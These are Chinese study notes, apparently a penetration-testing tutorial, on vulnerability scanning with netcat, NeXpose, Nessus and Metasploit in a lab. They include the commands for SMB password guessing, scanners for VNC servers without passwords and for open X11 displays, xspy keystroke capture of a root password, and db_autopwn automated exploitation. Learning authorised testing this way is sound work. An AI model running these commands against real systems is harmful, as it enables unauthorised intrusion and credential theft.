漏洞扫描器–能够自动在计算机、信息系统、网络以及应用软件寻找和发现安全弱点的程序。通过网络对目标系统进行探测,向目标系统发送数据,并将反馈数据与自带的漏洞特征库进行匹配,进而列举出目标系统上存在的漏洞。
漏洞扫描器会产生大量的流量,不希望被别人发现渗透测试工作踪迹时,建议不使用漏洞扫描器。
一、基本的漏洞扫描:
旗标攫取–连接到一个远程网络服务,并读取该服务的标识。
使用netcat获取192.168.1.203的旗标。TCP端口80的Web服务器,并发出get http请求。
root@bt:~# /opt/framework3/msf3# nc 192.168.1.203 80 GET HTTP 1/1
漏洞扫描器–确定目标是否包含任何与该版本IIS相关的漏洞,已经这台服务器是否安装了补丁程序。
漏洞扫描器的扫描质量很大程度上取决于它自带的漏洞特征库。
二、使用NeXpose进行扫描–Rapid7公司
NeXpose通过对网络进行扫描,查找出网络上正在运行的设备,最终识别出操作系统和应用程序上的安全漏洞。随后对扫描得到的数据进行分析和处理,并生成各种类型的报告。
1、配置:社区共享版。
主界面的主要标签页。
2、将扫描报告导入到Metasploit
msf> db_connect postgres:toor@127.0.0.1/msf3
msf> db_import /tmp/host_195.xml
msf> db_hosts -c address,svcs,vnlns
显示漏洞详情:
msf>db_vulns
这种方式的扫描动静很大,可能会使目标有所察觉。
3、在MSF控制台中运行NeXpose
利用Metasploit中包含的NeXpose插件。
启动黑盒扫描:
(1)、加载NeXpose插件:
msf>db_destroy postgres:toor@127.0.0.1/msf3
msf>db_connect postgres:toor@127.0.0.1/msf3
msf>load nexpose
(2)、查看扫描插件设置的命令
msf>help
(3)、从MSF终端执行第一次扫描之前,需要连接到安装的NeXpose实例。
nexpose_connect -h
显示连接到NeXpose所需的参数
登录到NeXpose需要用户名、密码、ip地址、ok(自动接受SSL证书警告)
msf>nexpose_connect -h
msf>nexpose_connect dookie:s3cr3t@192.168.1.206 ok
(4)、启动扫描
可以是一个Ip地址,也可以是Ip地址段
msf>nexpose_scan 192.168.1.195
(5)、查看结果
msf>db_hosts -c address
msf>db_vulns
三、使用Nessus进行扫描–Tenable Security公司
1、配置:
安装成功,打开网页浏览器,转到https://<自己的IP>:8834
2、将网页版扫描结果导入Metasploit框架
step1:在Reports页面下载。
step2:导入
msf>db_connect postgres:toor@127.0.0.1/msf3
msf>db_import /tmp/nessus_report_Host_195.nessus
step3:查看
msf>db_hosts -c address,svcs,vulns
step4:查看详细
msf>db_vulns
3、MSF终端使用Nessus扫描器
step1:载入nessus–load nessus
msf>db_destroy postgres:toor@127.0.0.1/msf3
msf>db_connect postgres:toor@127.0.0.1/msf3
msf>load nessus
step2:查看帮助
msf>nessus_help
step3:连接nessus服务器并登录–nessus_connect
msf>nessus_connect dookie:s3cr3t@192.168.1.206 ok
step4:启动扫描时需要制定一个已经定义的扫描策略的ID号。列出所有服务器上已经定义的扫描策略–nessus_policy_list
msf>nessus_policy_list
step5:查看某个扫描策略的情况
nessus_scan_new+扫描策略的ID号+扫描任务的名字+目标IP
msf>nessus_scan_new 2 bridge_scan 192.168.1.195
step6:查看扫描运行状态。返回:No Scan Running,表明扫描结束–nessus_scan_status
msf>nessus_scan_status
step7:查看扫描结果
nessus_report_list列出所有Nessus中所有可用的扫描报告。
nessus_report_get+报告ID 下载报告,并导入到Metasploit。
msf>nessus_report_list
msf>nessus_report_get+报告ID
step8:查看导入结果
msf>db_hosts -c address,svcs,vulns
四、专用漏洞扫描器
1、验证SMB登录:
SMB登录扫描器(SMB Login Check)对大量的主机的用户名和口令进行猜解。
动静很大~~~
Metasploit允许指定用户名和口令组合,用户名列表和口令列表组合,或各要素组合。
对一小段IP地址进行尝试破解密码:
msf>use auxiliary/scanner/smb/smb_login
msf auixliary(smb_login)>show options
msf auixliary(smb_login)>set RHOSTS 192.168.1.150-155
msf auixliary(smb_login)>set SMBUser Administrator
msf auixliary(smb_login)>set SMBPass s3cr3t
msf auixliary(smb_login)>run
2、扫描开放的VNC空口令
VNC(虚拟网络计算)提供了图形化的远程系统访问方式,类似于远程桌面。
Metasploit内置的VNC空口令扫描器对一段IP地址进行扫描,搜索未设置口令的VNC服务器。
msf>use auxiliary/scanner/vnc/vnc_none_auth
msf auixliary(vnc_none_auth)>show options
msf auixliary(vnc_none_auth)>set RHOSTS 192.168.1.155
msf auixliary(vnc_none_auth)>run
3、扫描开放的X11服务器
X11服务器,允许用户无需身份认证即可连接。
X11已经不再使用~~~
X系统用来处理包括鼠标和键盘支持在内的图形用户界面
msf>ues auxiliary/scanner/x11/open_x11
msf auxiliary(open_x11)>show options
msf auxiliary(open_x11)>set RHOSTS 192.168.1.0/24
msf auxiliary(open_x11)>set THREADS 50
msf auxiliary(open_x11)>run
利用这样的漏洞做什么~~??
xspy工具,来对目标的键盘输入进行记录。
root@bt:/# cd /pentest/sniffers/xspy/
root@bt:/pentest/sniffers/xspy/# ./xspy -display 192.168.1.23:0 -delay 100
Xspy工具能够远程嗅探到X服务器的键盘操作,并记录下某个用户使用SSH以root身份登录另一个远程系统,包含登录口令。
五、利用扫描结果进行自动化攻击
Metasploit的Autopwn工具,自动选择目标,并利用已开放的端口或漏洞扫描结果,对目标进行自动化的渗透攻击。
db_autopwn命令包含一些开关参数:
msf>db_connect postgres:toor@127.0.0.1/msf3
msf>db_import /root/nessus.nbe
msf>db_autopwn -e -t -r -x -p
信息显示:进行了72次渗透攻击,一次攻击成功,利用meterpreter控制台获取了远程计算机的完全访问权限。